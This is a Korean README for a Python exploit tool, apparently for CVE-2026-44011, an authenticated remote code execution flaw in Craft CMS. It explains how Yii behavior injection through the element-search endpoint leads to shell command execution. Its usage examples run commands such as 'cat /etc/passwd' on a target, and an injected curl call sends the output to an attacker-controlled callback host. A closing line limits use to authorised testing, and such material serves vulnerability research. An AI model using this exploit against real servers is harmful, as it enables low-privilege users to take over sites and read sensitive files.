
CVE-2026-44011에 대한 Python 개념 증명 익스플로잇으로, Yii 동작 주입을 통한 Craft CMS의 인증된 RCE이며, 2단계 명령 출력 캡처를 지원합니다.
Yii behavior 주입을 통한 Craft CMS의 인증된 RCE.
영향받는 버전: 4.0.0–4.17.11, 5.0.0–5.9.17
수정된 버전: 4.17.12, 5.9.18
권고문: GHSA-qrgm-p9w5-rrfw
/admin/actions/element-search/search 엔드포인트는 condition 파라미터를 받아들이며, 이는 Component::cleanseConfig()가 먼저 호출되지 않은 채 ElementCondition::createCondition()으로 직접 전달됩니다. 이는 FieldLayout 객체가 요청 데이터로부터 생성될 때 Yii의 특수 객체 생성 키 — __class, as <name> (behavior 연결), on <event> (핸들러 등록) — 가 적용된다는 것을 의미합니다.
이 익스플로잇은 Psy\Readline\Hoa\ConsoleProcessus::execute() (셸 명령을 실행하는 PSY/Yii 내부 함수)를 typecast 콜러블로 호출하도록 구성된 AttributeTypecastBehavior를 연결합니다. 이 behavior는 Craft가 동일한 요청 중에 트리거하는 beforeSave 이벤트에서 실행됩니다.
낮은 권한의 편집자를 포함한 모든 계정이 이를 수행할 수 있습니다. 관리자 권한은 필요하지 않습니다.
블라인드 리버스 셸 대신, 2단계 출력 캡처를 사용합니다:
curl 명령을 주입합니다터미널에서 직접 명령 출력을 확인할 수 있으며, nc 리스너가 필요하지 않습니다.
requests 라이브러리 (pip install requests)# 기본 — 대상에서 id 실행
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# 사용자 지정 제어판 경로
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# 추론할 수 없을 때 콜백 주소 지정
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# TLS 검증 건너뛰기 (자체 서명 인증서)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# 버전 확인 건너뛰기 (예: 버전 감지 실패)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
콜백 호스트/포트는 대상이 출력을 사용자에게 다시 POST하는 곳입니다. 기본적으로 호스트는 대상으로 가는 경로에서 추론되며 포트는 OS가 할당합니다. 대상이 NAT 또는 VPN 뒤에 있는 경우, 접근 가능한 IP를 가리키는 --callback-host가 필요합니다.
-b / --base-url 대상 오리진 (필수)
-P / --cp-path 제어판 경로 (기본값: /admin)
-u / --username 로그인 이름 또는 이메일 (필수)
-p / --password 비밀번호 (필수)
-c / --command 실행할 셸 명령 (필수)
-s / --site-id Craft 사이트 ID (기본값: 1)
-e / --element-type 조건에 사용할 요소 유형 (기본값: craft\elements\Category)
-t / --timeout 요청 타임아웃(초) (기본값: 15)
-H / --callback-host 출력 콜백을 위한 접근 가능한 주소
--listen-port 출력 리스너 포트 (기본값: OS가 선택)
--no-verify TLS 인증서 검증 건너뛰기
-F / --force 버전 범위 확인 건너뛰기
승인된 보안 테스트 및 연구 목적으로만 사용하십시오.